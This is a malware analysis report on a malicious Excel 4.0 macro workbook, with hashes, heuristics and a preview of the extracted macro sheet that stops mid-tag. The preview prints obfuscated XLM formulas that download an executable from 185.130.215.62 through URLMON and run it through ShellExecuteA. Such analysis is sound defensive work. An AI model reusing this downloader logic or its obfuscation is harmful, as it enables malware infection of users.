Office (OOXML) malware analysis — malicious · 0889c0862c1a561d

MALICIOUS

Office (OOXML)

38.4 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-09-15

MD5: 45016de8a07cc2a5b21779d26bec04be SHA-1: 55d4b0c90462ea4841cca8df5eeac1de9ab849a0 SHA-256: 0889c0862c1a561d1eb166bd9770c1a6fc3d43c770fbd38da01da540200aa2dd

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro sheet that uses dangerous functions like RUN to execute external code. The document body contains a lure instructing the user to enable macros, which is a common social engineering tactic. The macro sheet contains formulas that construct and execute a path to a file named 'spjCyVr.exe' and also calls the RUN function with URLs pointing to 'italias.exe' and 'italias', indicating it downloads and executes a second-stage payload.

Heuristics 7

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 28 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://185.130.215.62/italias.exe Referenced by macro
- http://185.130.215.62/italiasReferenced by macro
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	50510 bytes
SHA-256: `697fea4918cf8a8b4974f5df2dec12a6fb14e1e202514e4cd710c6c05d3cdd63`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A3:IO1998"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="3" spans="107:214" x14ac:dyDescent="0.25"><c r="DC3" t="str"><f>CHAR($FW$1317-4)</f><v>3</v></c></row><row r="5" spans="107:214" x14ac:dyDescent="0.25"><c r="FT5" t="b"><f>RUN($FG$899)</f><v>0</v></c></row><row r="9" spans="107:214" x14ac:dyDescent="0.25"><c r="HF9" t="b"><f>RUN($CJ$1245)</f><v>0</v></c></row><row r="10" spans="107:214" x14ac:dyDescent="0.25"><c r="EM10" t="str"><f>CHAR($DV$871-757)</f><v>e</v></c><c r="GU10" t="b"><f>RUN($AA$424)</f><v>0</v></c></row><row r="19" spans="21:118" x14ac:dyDescent="0.25"><c r="AR19"><v>16</v></c></row><row r="20" spans="21:118" x14ac:dyDescent="0.25"><c r="CP20" t="b"><f>RUN($AR$486)</f><v>0</v></c></row><row r="23" spans="21:118" x14ac:dyDescent="0.25"><c r="U23" t="str"><f>CONCATENATE($GJ$950,$AU$1243)</f><v>C:\QWSdhvR\TclgKas\spjCyVr.exe</v></c></row><row r="24" spans="21:118" x14ac:dyDescent="0.25"><c r="DN24" t="str"><f>CHAR($BX$1887-684)</f><v>\</v></c></row><row r="25" spans="21:118" x14ac:dyDescent="0.25"><c r="AY25" t="b"><f>RUN($GW$501)</f><v>0</v></c></row><row r="41" spans="31:117" x14ac:dyDescent="0.25"><c r="AE41" t="b"><f>RUN($CM$378)</f><v>0</v></c><c r="DE41"><v>776</v></c></row><row r="47" spans="31:117" x14ac:dyDescent="0.25"><c r="DM47" t="str"><f>CHAR($GS$1794-357)</f><v>.</v></c></row><row r="49" spans="54:229" x14ac:dyDescent="0.25"><c r="HU49" t="b"><f>RUN($IJ$348)</f><v>0</v></c></row><row r="54" spans="54:229" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$EN$1589</f><v>http://185.130.215.62/italias.exe</v></c></row><row r="69" spans="100:128" x14ac:dyDescent="0.25"><c r="DX69"><v>836</v></c></row><row r="76" spans="100:128" x14ac:dyDescent="0.25"><c r="CV76" t="str"><f>CHAR($GV$1826-684)</f><v>V</v></c><c r="DK76"><v>112</v></c></row><row r="84" spans="79:227" x14ac:dyDescent="0.25"><c r="HS84"><v>868</v></c></row><row r="87" spans="79:227" x14ac:dyDescent="0.25"><c r="CX87" t="b"><f>RUN($FP$1450)</f><v>0</v></c></row><row r="88" spans="79:227" x14ac:dyDescent="0.25"><c r="FW88"><v>865</v></c></row><row r="91" spans="79:227" x14ac:dyDescent="0.25"><c r="CA91"><v>63</v></c></row><row r="102" spans="13:246" x14ac:dyDescent="0.25"><c r="AH102" t="str"><f>CHAR($HF$1246-757)</f><v>R</v></c><c r="IL102"><v>60</v></c></row><row r="105" spans="13:246" x14ac:dyDescent="0.25"><c r="M105"><v>40</v></c></row><row r="109" spans="13:246" x14ac:dyDescent="0.25"><c r="HT109"><v>410</v></c></row><row r="110" spans="13:246" x14ac:dyDescent="0.25"><c r="AY110"><v>9</v></c></row><row r="114" spans="14:149" x14ac:dyDescent="0.25"><c r="EK114"><v>862</v></c><c r="ES114"><v>477</v></c></row><row r="118" spans="14:149" x14ac:dyDescent="0.25"><c r="N118" t="b"><f>RUN($ET$360)</f><v>0</v></c></row><row r="122" spans="14:149" x14ac:dyDescent="0.25"><c r="DP122" t="str"><f>CHAR($CQ$826-684)</f><v>:</v></c></row><row r="134" spans="129:212" x14ac:dyDescent="0.25"><c r="EG134" t="b"><f>RUN($BU$1646)</f><v>0</v></c></row><row r="137" spans="129:212" x14ac:dyDescent="0.25"><c r="HD137"><v>469</v></c></row><row r="144" spans="129:212" x14ac:dyDescent="0.25"><c r="DY144"><v>112</v></c></row><row r="145" spans="114:195" x14ac:dyDescent="0.25"><c r="DJ145" t="str"><f>CONCATENATE($AU$1760,$EA$291,$HU$367,$DN$995,$BI$946,$O$189,$GO$791,$CL$1988,$IK$727,$B$1964,$FG$1661,$EZ$1496,$CU$504,$EV$1420,$GI$1660,$GE$1475,$CW$1094,$HS$574,$DM$47,$BL$424,$HU$1854,$DT$355,$CS$879,$FR$401,$HV$466,$HJ$291,$HF$712,$DZ$1457,$GN$548)</f><v>http://185.130.215.62/italias</v></c><c r="EG145" t="str"><f>CHAR($F$301-757)</f><v>A</v></c></row><row r="151" spans="114:195" x14ac:dyDescent="0.25"><c r="ER151" t="str"><f>CHAR($O$1093-757)</f><v>r</v></c></row><row r="154" spans="114:195" x14ac:dyDescent="0.25"><c r="DU154" t="str"><f>CHAR($AU$217-757)</f><v>o</v></c></row><row r="160" spans="114:195" x14ac:dyDescent="0.25"><c r="GM160"><v>105</v></c></row><row r="167" spans="212:212" x14ac:dyDescent="0.25"><c r="HD167"><v>804</v></c></row><row r="177" spans="15:86" x14ac:dyDescent="0.25"><c r="AZ177"><v>16</v></c></row><row r="179" spans="15:86" x14ac:dyDescent="0.25"><c r="AV179" t="b"><f>RUN($FA$1778)</f><v>0</v></c></row><row r="189" spans="15:86" x14ac:dyDescent="0.25"><c r="O189" t="str"><f>CHAR($ES$986-357)</f><v>/</v></c><c r="CH189" t="str"><f>CHAR($FP$1779-757)</f><v>c</v></c></row><row r="193" spans="50:229" x14ac:dyDescent="0.25"><c r="FI193"><v>824</v></c></row><row r="195" spans="50:229" x14ac:dyDescent="0.25"><c r="HU195"><v>873</v></c></row><row r="197" spans="50:229" x14ac:dyDescent="0.25"><c r="DT197"><v>79</v></c></row><row r="198" spans="50:229" x14ac:dyDescent="0.25"><c r="DY198" t="b"><f>RUN($ID$567)</f><v>0</v></c><c r="HO198" t="str"><f>CHAR($HZ$1595-757)</f><v>n</v></c></row><row r="199" spans="50:229" x14ac:dyDescent="0.25"><c r="FA199" t="b"><f>RUN($AG$1837)</f><v>0</v></c></row><row r="201" spans="50:229" x14ac:dyDescent="0.25"><c r="AX201" t="str"><f>CHAR($ES$1089-4)</f><v>2</v></c><c r="BE201"><v>80</v></c></row><row r="208" spans="50:229" x14ac:dyDescent="0.25"><c r="DK208" t="b"><f>RUN($BD$1804)</f><v>0</v></c><c r="EV208"><v>857</v></c></row><row r="212" spans="25:218" x14ac:dyDescent="0.25"><c r="Y212"><v>13</v></c><c r="AL212" t="b"><f>RUN($FD$1289)</f><v>0</v></c></row><row r="213" spans="25:218" x14ac:dyDescent="0.25"><c r="FI213"><v>858</v></c><c r="HJ213" t="str"><f>CHAR($BM$646-757)</f><v>t</v></c></row><row r="217" spans="25:218" x14ac:dyDescent="0.25"><c r="AU217"><v>868</v></c><c r="EW217"><v>798</v></c></row><row r="229" spans="65:240" x14ac:dyDescent="0.25"><c r="BM229"><v>799</v></c></row><row r="230" spans="65:240" x14ac:dyDescent="0.25"><c r="IC230"><v>41</v></c></row><row r="231" spans="65:240" x14ac:dyDescent="0.25"><c r="IF231" t="str"><f>CHAR($EG$946-684)</f><v>R</v></c></row><row r="245" spans="45:216" x14ac:dyDescent="0.25"><c r="AS245" t="str"><f>CHAR($AD$890-684)</f><v>h</v></c></row><row r="248" spans="45:216" x14ac:dyDescent="0.25"><c r="CS248"><v>802</v></c></row><row r="254" spans="45:216" x14ac:dyDescent="0.25"><c r="HH254"><v>82</v></c></row><row r="262" spans="123:225" x14ac:dyDescent="0.25"><c r="HQ262"><v>112</v></c></row><row r="263" spans="123:225" x14ac:dyDescent="0.25"><c r="DS263"><v>406</v></c></row><row r="268" spans="123:225" x14ac:dyDescent="0.25"><c r="FZ268"><v>36</v></c></row><row r="275" spans="41:109" x14ac:dyDescent="0.25"><c r="DE275" t="str"><f>CHAR($BM$1544-684)</f><v>Q</v></c></row><row r="277" spans="41:109" x14ac:dyDescent="0.25"><c r="AO277"><v>32</v></c></row><row r="286" spans="41:109" x14ac:dyDescent="0.25"><c r="BO286" t="str"><f>CHAR($CC$1967-684)</f><v>s</v></c></row><row r="291" spans="6:218" x14ac:dyDescent="0.25"><c r="EA291" t="str"><f>CHAR($BF$1530-357)</f><v>t</v></c><c r="HJ291" t="str"><f>CHAR($AZ$871-357)</f><v>l</v></c></row><row r="292" spans="6:218" x14ac:dyDescent="0.25"><c r="FZ292"><v>871</v></c></row><row r="297" spans="6:218" x14ac:dyDescent="0.25"><c r="EV297" t="str"><f>CONCATENATE($GP$348)</f><v>URLMON</v></c></row><row r="298" spans="6:218" x14ac:dyDescent="0.25"><c r="HA298" t="b"><f>RUN($HA$847)</f><v>0</v></c></row><row r="301" spans="6:218" x14ac:dyDescent="0.25"><c r="F301"><v>822</v></c></row><row r="324" spans="3:216" x14ac:dyDescent="0.25"><c r="AZ324"><v>59</v></c></row><row r="326" spans="3:216" x14ac:dyDescent="0.25"><c r="C326"><v>865</v></c></row><row r="329" spans="3:216" x14ac:dyDescent="0.25"><c r="BP329"><v>472</v></c><c r="FJ329"><v>23</v></c></row><row r="333" spans="3:216" x14ac:dyDescent="0.25"><c r="HH333" t="b"><f>RUN($AY$1826)</f><v>0</v></c></row><row r="336" spans="3:216" x14ac:dyDescent="0.25"><c r="F336"><v>473</v></c></row><row r="337" spans="24:244" x14ac:dyDescent="0.25"><c r="HQ337" t="b"><f>RUN($FG$892)</f><v>0</v></c></row><row r="340" spans="24:244" x14ac:dyDescent="0.25"><c r="X340" t="str"><f>CHAR($HM$1660-4)</f><v>3</v></c><c r="GJ340"><v>81</v></c></row><row r="347" spans="24:244" x14ac:dyDescent="0.25"><c r="GR347" t="str"><f>CONCATENATE($AX$359,$DK$1392,$EH$500,$FX$1637,$DW$1924,$X$340,$AO$1165)</f><v>Shell32</v></c></row><row r="348" spans="24:244" x14ac:dyDescent="0.25"><c r="GP348" t="str"><f>CONCATENATE($FP$790,$GI$1349,$BG$1271,$CC$520,$BC$1227,$CK$1317)</f><v>URLMON</v></c><c r="IJ348" t="b"><f>RUN($HT$881)</f><v>0</v></c></row><row r="349" spans="24:244" x14ac:dyDescent="0.25"><c r="AQ349"><v>73</v></c><c r="FL349"><v>869</v></c></row><row r="350" spans="24:244" x14ac:dyDescent="0.25"><c r="X350" t="str"><f>CHAR($DZ$418-684)</f><v>K</v></c></row><row r="353" spans="49:229" x14ac:dyDescent="0.25"><c r="AW353"><v>458</v></c><c r="GW353" t="str"><f>CHAR($FK$1397-684)</f><v>S</v></c></row><row r="355" spans="49:229" x14ac:dyDescent="0.25"><c r="DT355" t="str"><f>CHAR($HM$719-357)</f><v>/</v></c></row><row r="359" spans="49:229" x14ac:dyDescent="0.25"><c r="AX359" t="str"><f>CHAR($GL$1250-4)</f><v>S</v></c></row><row r="360" spans="49:229" x14ac:dyDescent="0.25"><c r="ET360" t="b"><f>RUN($HL$1908)</f><v>0</v></c></row><row r="367" spans="49:229" x14ac:dyDescent="0.25"><c r="GP367" t="b"><f>RUN($EU$616)</f><v>0</v></c><c r="HU367" t="str"><f>CHAR($F$336-357)</f><v>t</v></c></row><row r="368" spans="49:229" x14ac:dyDescent="0.25"><c r="GB368"><v>868</v></c></row><row r="374" spans="91:209" x14ac:dyDescent="0.25"><c r="HA374" t="str"><f>CHAR($DK$719-757)</f><v>T</v></c></row><row r="376" spans="91:209" x14ac:dyDescent="0.25"><c r="CN376"><v>407</v></c></row><row r="378" spans="91:209" x14ac:dyDescent="0.25"><c r="CM378" t="b"><f>RUN($CL$1315)</f><v>0</v></c></row><row r="392" spans="34:240" x14ac:dyDescent="0.25"><c r="AH392" t="b"><f>RUN($DJ$1820)</f><v>0</v></c></row><row r="395" spans="34:240" x14ac:dyDescent="0.25"><c r="IF395"><v>787</v></c></row><row r="396" spans="34:240" x14ac:dyDescent="0.25"><c r="EK396" t="b"><f>RUN($HR$1215)</f><v>0</v></c></row><row r="401" spans="26:212" x14ac:dyDescent="0.25"><c r="FR401" t="str"><f>CHAR($O$1873-357)</f><v>t</v></c></row><row r="403" spans="26:212" x14ac:dyDescent="0.25"><c r="Z403" t="b"><f>RUN($HF$9)</f><v>0</v></c></row><row r="407" spans="26:212" x14ac:dyDescent="0.25"><c r="GT407" t="b"><f>RUN($CP$1578)</f><v>0</v></c></row><row r="411" spans="26:212" x14ac:dyDescent="0.25"><c r="HD411"><v>6</v></c></row><row r="416" spans="26:212" x14ac:dyDescent="0.25"><c r="FI416" t="str"><f>CHAR($DI$489-684)</f><v>y</v></c></row><row r="418" spans="27:187" x14ac:dyDescent="0.25"><c r="DZ418"><v>759</v></c></row><row r="419" spans="27:187" x14ac:dyDescent="0.25"><c r="EY419" t="b"><f>RUN($ED$1502)</f><v>0</v></c></row><row r="421" spans="27:187" x14ac:dyDescent="0.25"><c r="GE421"><v>30</v></c></row><row r="422" spans="27:187" x14ac:dyDescent="0.25"><c r="BI422" t="b"><f>RUN($HE$1736)</f><v>0</v></c></row><row r="424" spans="27:187" x14ac:dyDescent="0.25"><c r="AA424" t="b"><f>RUN($BE$644)</f><v>0</v></c><c r="BL424" t="str"><f>CHAR($HM$463-357)</f><v>6</v></c></row><row r="428" spans="27:187" x14ac:dyDescent="0.25"><c r="FN428" t="str"><f>CHAR($HD$167-684)</f><v>x</v></c></row><row r="439" spans="26:141" x14ac:dyDescent="0.25"><c r="EK439"><v>768</v></c></row><row r="446" spans="26:141" x14ac:dyDescent="0.25"><c r="Z446" t="b"><f>RUN($GT$1295)</f><v>0</v></c></row><row r="455" spans="18:235" x14ac:dyDescent="0.25"><c r="R455" t="str"><f>CHAR($S$540-757)</f><v>x</v></c></row><row r="458" spans="18:235" x14ac:dyDescent="0.25"><c r="V458"><v>99</v></c><c r="IA458"><v>43</v></c></row><row r="463" spans="18:235" x14ac:dyDescent="0.25"><c r="HM463"><v>411</v></c></row><row r="464" spans="18:235" x14ac:dyDescent="0.25"><c r="BE464" t="b"><f>RUN($FA$199)</f><v>0</v></c></row><row r="466" spans="74:230" x14ac:dyDescent="0.25"><c r="HV466" t="str"><f>CHAR($DD$1759-357)</f><v>a</v></c></row><row r="467" spans="74:230" x14ac:dyDescent="0.25"><c r="BV467"><v>461</v></c></row><row r="472" spans="74:230" x14ac:dyDescent="0.25"><c r="CP472" t="str"><f>CHAR($FI$193-757)</f><v>C</v></c></row><row r="481" spans="44:148" x14ac:dyDescent="0.25"><c r="ER481" t="str"><f>CHAR($AF$1805-357)</f><v>e</v></c></row><row r="485" spans="44:148" x14ac:dyDescent="0.25"><c r="CH485"><v>858</v></c></row><row r="486" spans="44:148" x14ac:dyDescent="0.25"><c r="AR486" t="b"><f>RUN($GC$664)</f><v>0</v></c></row><row r="489" spans="44:148" x14ac:dyDescent="0.25"><c r="DI489"><v>805</v></c></row><row r="500" spans="99:205" x14ac:dyDescent="0.25"><c r="EH500" t="str"><f>CHAR($GM$160-4)</f><v>e</v></c></row><row r="501" spans="99:205" x14ac:dyDescent="0.25"><c r="GW501" t="b"><f>RUN($CP$20)</f><v>0</v></c></row><row r="504" spans="99:205" x14ac:dyDescent="0.25"><c r="CU504" t="str"><f>CHAR($CE$1354-357)</f><v>3</v></c></row><row r="505" spans="99:205" x14ac:dyDescent="0.25"><c r="DG505"><v>776</v></c></row><row r="517" spans="81:234" x14ac:dyDescent="0.25"><c r="HZ517" t="b"><f>RUN($AA$716)</f><v>0</v></c></row><row r="520" spans="81:234" x14ac:dyDescent="0.25"><c r="CC520" t="str"><f>CHAR($AG$820-4)</f><v>M</v></c></row><row r="522" spans="81:234" x14ac:dyDescent="0.25"><c r="GW522" t="str"><f>CHAR($AW$353-357)</f><v>e</v></c></row><row r="524" spans="81:234" x14ac:dyDescent="0.25"><c r="DE524"><v>39</v></c></row><row r="540" spans="19:42" x14ac:dyDescent="0.25"><c r="S540"><v>877</v></c><c r="AP540" t="b"><f>RUN($HZ$517)</f><v>0</v></c></row><row r="548" spans="39:196" x14ac:dyDescent="0.25"><c r="GN548" t="str"><f>CHAR($BP$329-357)</f><v>s</v></c></row><row r="549" spans="39:196" x14ac:dyDescent="0.25"><c r="AO549"><v>80</v></c></row><row r="550" spans="39:196" x14ac:dyDescent="0.25"><c r="AM550"><v>60</v></c></row><row r="554" spans="39:196" x14ac:dyDescent="0.25"><c r="ED554"><v>840</v></c></row><row r="557" spans="39:196" x14ac:dyDescent="0.25"><c r="CP557" t="str"><f>CHAR($CV$1442-757)</f><v>e</v></c></row><row r="562" spans="14:238" x14ac:dyDescent="0.25"><c r="N562"><v>1</v></c></row><row r="563" spans="14:238" x14ac:dyDescent="0.25"><c r="BL563"><v>83</v></c></row><row r="568" spans="14:238" x14ac:dyDescent="0.25"><c r="ID568" t="b"><f>CALL($FS$1220,$BZ$1840,"JCJ","C:\QWSdhvR",0)</f><v>0</v></c></row><row r="569" spans="14:238" x14ac:dyDescent="0.25"><c r="ID569" t="b"><f>CALL($FS$1220,$BZ$1840,"JCJ","C:\QWSdhvR\TclgKas",0)</f><v>0</v></c></row><row r="570" spans="14:238" x14ac:dyDescent="0.25"><c r="GL570" t="b"><f>RUN($AM$1109)</f><v>0</v></c><c r="ID570" t="b"><f>CALL($EV$297,$CJ$1487, "JJCCJJ",0,$BB$54,$U$23,0,0)</f><v>0</v></c></row><row r="571" spans="14:238" x14ac:dyDescent="0.25"><c r="ID571" t="b"><f>CALL($GF$1015,$GC$639, "JJCCCCJ",0,$CY$996,$U$23,,0,0)</f><v>0</v></c></row><row r="574" spans="14:238" x14ac:dyDescent="0.25"><c r="HS574" t="str"><f>CHAR($HT$109-357)</f><v>5</v></c></row><row r="576" spans="14:238" x14ac:dyDescent="0.25"><c r="ID576" t="b"><f>HALT()</f><v>0</v></c></row><row r="597" spans="195:203" x14ac:dyDescent="0.25"><c r="GU597" t="b"><f>RUN($GW$1283)</f><v>0</v></c></row><row r="601" spans="195:203" x14ac:dyDescent="0.25"><c r="GM601"><v>83</v></c></row><row r="611" spans="122:171" x14ac:dyDescent="0.25"><c r="DR611" t="b"><f>RUN($FO$614)</f><v>0</v></c></row><row r="614" spans="122:171" x14ac:dyDescent="0.25"><c r="FO614" t="b"><f>RUN($CD$1916)</f><v>0</v></c></row><row r="616" spans="122:171" x14ac:dyDescent="0.25"><c r="EU616" t="b"><f>RUN($DB$1317)</f><v>0</v></c></row><row r="621" spans="122:171" x14ac:dyDescent="0.25"><c r="FC621" t="b"><f>RUN($HA$1705)</f><v>0</v></c></row><row r="630" spans="112:220" x14ac:dyDescent="0.25"><c r="EX630" t="b"><f>RUN($N$118)</f><v>0</v></c><c r="HL630"><v>842</v></c></row><row r="633" spans="112:220" x14ac:dyDescent="0.25"><c r="DH633"><v>826</v></c></row><row r="639" spans="112:220" x14ac:dyDescent="0.25"><c r="GC639" t="str"><f>CONCATENATE($FL$1808)</f><v>ShellExecuteA</v></c></row><row r="643" spans="53:230" x14ac:dyDescent="0.25"><c r="FE643" t="str"><f>CHAR($ES$114-357)</f><v>x</v></c></row><row r="644" spans="53:230" x14ac:dyDescent="0.25"><c r="BE644" t="b"><f>RUN($AP$540)</f><v>0</v></c></row><row r="645" spans="53:230" x14ac:dyDescent="0.25"><c r="CR645" t="str"><f>CHAR($EK$439-684)</f><v>T</v></c></row><row r="646" spans="53:230" x14ac:dyDescent="0.25"><c r="BM646"><v>873</v></c></row><row r="647" spans="53:230" x14ac:dyDescent="0.25"><c r="BA647"><v>20</v></c></row><row r="653" spans="53:230" x14ac:dyDescent="0.25"><c r="HV653" t="b"><f>RUN($AU$1952)</f><v>0</v></c></row><row r="657" spans="27:185" x14ac:dyDescent="0.25"><c r="AL657" t="b"><f>RUN($CN$1219)</f><v>0</v></c></row><row r="658" spans="27:185" x14ac:dyDescent="0.25"><c r="FL658"><v>94</v></c></row><row r="664" spans="27:185" x14ac:dyDescent="0.25"><c r="GC664" t="b"><f>RUN($GY$1149)</f><v>0</v></c></row><row r="665" spans="27:185" x14ac:dyDescent="0.25"><c r="CZ665"><v>413</v></c></row><row r="669" spans="27:185" x14ac:dyDescent="0.25"><c r="DA669" t="b"><f>RUN($FL$1416)</f><v>0</v></c></row><row r="672" spans="27:185" x14ac:dyDescent="0.25"><c r="AA672"><v>865</v></c></row><row r="689" spans="28:232" x14ac:dyDescent="0.25"><c r="DQ689" t="b"><f>RUN($AD$762)</f><v>0</v></c></row><row r="692" spans="28:232" x14ac:dyDescent="0.25"><c r="AB692"><v>57</v></c></row><row r="693" spans="28:232" x14ac:dyDescent="0.25"><c r="HX693"><v>9</v></c></row><row r="703" spans="28:232" x14ac:dyDescent="0.25"><c r="FG703" t="str"><f>CHAR($ED$554-757)</f><v>S</v></c></row><row r="707" spans="27:221" x14ac:dyDescent="0.25"><c r="EU707" t="str"><f>CHAR($CH$485-757)</f><v>e</v></c></row><row r="712" spans="27:221" x14ac:dyDescent="0.25"><c r="HF712" t="str"><f>CHAR($FU$767-357)</f><v>i</v></c></row><row r="714" spans="27:221" x14ac:dyDescent="0.25"><c r="AV714"><v>46</v></c></row><row r="716" spans="27:221" x14ac:dyDescent="0.25"><c r="AA716" t="b"><f>RUN($AS$1706)</f><v>0</v></c><c r="GZ716"><v>403</v></c></row><row r="719" spans="27:221" x14ac:dyDescent="0.25"><c r="DK719"><v>841</v></c><c r="HM719"><v>404</v></c></row><row r="727" spans="148:245" x14ac:dyDescent="0.25"><c r="IK727" t="str"><f>CHAR($CZ$665-357)</f><v>8</v></c></row><row r="732" spans="148:245" x14ac:dyDescent="0.25"><c r="ER732" t="str"><f>CHAR($AA$672-757)</f><v>l</v></c></row><row r="739" spans="141:193" x14ac:dyDescent="0.25"><c r="GJ739"><v>91</v></c></row><row r="742" spans="141:193" x14ac:dyDescent="0.25"><c r="GK742"><v>871</v></c></row><row r="747" spans="141:193" x14ac:dyDescent="0.25"><c r="EK747"><v>2</v></c></row><row r="755" spans="30:177" x14ac:dyDescent="0.25"><c r="CG755" t="b"><f>RUN($AY$25)</f><v>0</v></c></row><row r="762" spans="30:177" x14ac:dyDescent="0.25"><c r="AD762" t="b"><f>RUN($GU$10)</f><v>0</v></c></row><row r="765" spans="30:177" x14ac:dyDescent="0.25"><c r="EE765" t="str"><f>CHAR($IF$1973-757)</f><v>e</v></c></row><row r="767" spans="30:177" x14ac:dyDescent="0.25"><c r="FU767"><v>462</v></c></row><row r="770" spans="11:235" x14ac:dyDescent="0.25"><c r="HN770" t="str"><f>CHAR($BM$229-684)</f><v>s</v></c></row><row r="771" spans="11:235" x14ac:dyDescent="0.25"><c r="IA771" t="b"><f>RUN($BO$1515)</f><v>0</v></c></row><row r="779" spans="11:235" x14ac:dyDescent="0.25"><c r="K779"><v>406</v></c></row><row r="788" spans="23:197" x14ac:dyDescent="0.25"><c r="EP788"><v>56</v></c></row><row r="790" spans="23:197" x14ac:dyDescent="0.25"><c r="W790"><v>415</v></c><c r="FP790" t="str"><f>CHAR($GY$1453-4)</f><v>U</v></c></row><row r="791" spans="23:197" x14ac:dyDescent="0.25"><c r="CQ791" t="b"><f>RUN($FE$1160)</f><v>0</v></c><c r="GO791" t="str"><f>CHAR($EK$1484-357)</f><v>/</v></c></row><row r="793" spans="23:197" x14ac:dyDescent="0.25"><c r="Y793" t="b"><f>RUN($GT$407)</f><v>0</v></c></row><row r="798" spans="23:197" x14ac:dyDescent="0.25"><c r="EX798"><v>462</v></c></row><row r="800" spans="23:197" x14ac:dyDescent="0.25"><c r="DE800" t="str"><f>CHAR($DB$1270-757)</f><v>t</v></c></row><row r="807" spans="38:241" x14ac:dyDescent="0.25"><c r="AL807" t="str"><f>CHAR($D$1657-684)</f><v>d</v></c></row><row r="812" spans="38:241" x14ac:dyDescent="0.25"><c r="CF812"><v>89</v></c></row><row r="813" spans="38:241" x14ac:dyDescent="0.25"><c r="CP813"><v>105</v></c></row><row r="816" spans="38:241" x14ac:dyDescent="0.25"><c r="IG816" t="b"><f>RUN($DW$1117)</f><v>0</v></c></row><row r="820" spans="33:214" x14ac:dyDescent="0.25"><c r="AG820"><v>81</v></c></row><row r="826" spans="33:214" x14ac:dyDescent="0.25"><c r="CQ826"><v>742</v></c></row><row r="830" spans="33:214" x14ac:dyDescent="0.25"><c r="BP830"><v>26</v></c></row><row r="832" spans="33:214" x14ac:dyDescent="0.25"><c r="FP832"><v>7</v></c><c r="HF832" t="b"><f>RUN($HU$49)</f><v>0</v></c></row><row r="847" spans="209:209" x14ac:dyDescent="0.25"><c r="HA847" t="b"><f>RUN($DY$198)</f><v>0</v></c></row><row r="855" spans="19:130" x14ac:dyDescent="0.25"><c r="S855"><v>796</v></c></row><row r="861" spans="19:130" x14ac:dyDescent="0.25"><c r="DZ861"><v>13</v></c></row><row r="871" spans="52:164" x14ac:dyDescent="0.25"><c r="AZ871"><v>465</v></c><c r="DV871"><v>858</v></c></row><row r="873" spans="52:164" x14ac:dyDescent="0.25"><c r="FH873"><v>825</v></c></row><row r="879" spans="52:164" x14ac:dyDescent="0.25"><c r="CS879" t="str"><f>CHAR($EX$798-357)</f><v>i</v></c></row><row r="881" spans="19:228" x14ac:dyDescent="0.25"><c r="HT881" t="b"><f>RUN($Y$793)</f><v>0</v></c></row><row r="882" spans="19:228" x14ac:dyDescent="0.25"><c r="S882"><v>771</v></c></row><row r="890" spans="19:228" x14ac:dyDescent="0.25"><c r="AD890"><v>788</v></c></row><row r="892" spans="19:228" x14ac:dyDescent="0.25"><c r="FG892" t="b"><f>RUN($CG$755)</f><v>0</v></c></row><row r="894" spans="19:228" x14ac:dyDescent="0.25"><c r="FT894"><v>751</v></c></row><row r="895" spans="19:228" x14ac:dyDescent="0.25"><c r="BT895"><v>55</v></c></row><row r="896" spans="19:228" x14ac:dyDescent="0.25"><c r="GG896"><v>86</v></c></row><row r="899" spans="163:204" x14ac:dyDescent="0.25"><c r="FG899" t="b"><f>RUN($HF$832)</f><v>0</v></c></row><row r="903" spans="163:204" x14ac:dyDescent="0.25"><c r="GV903" 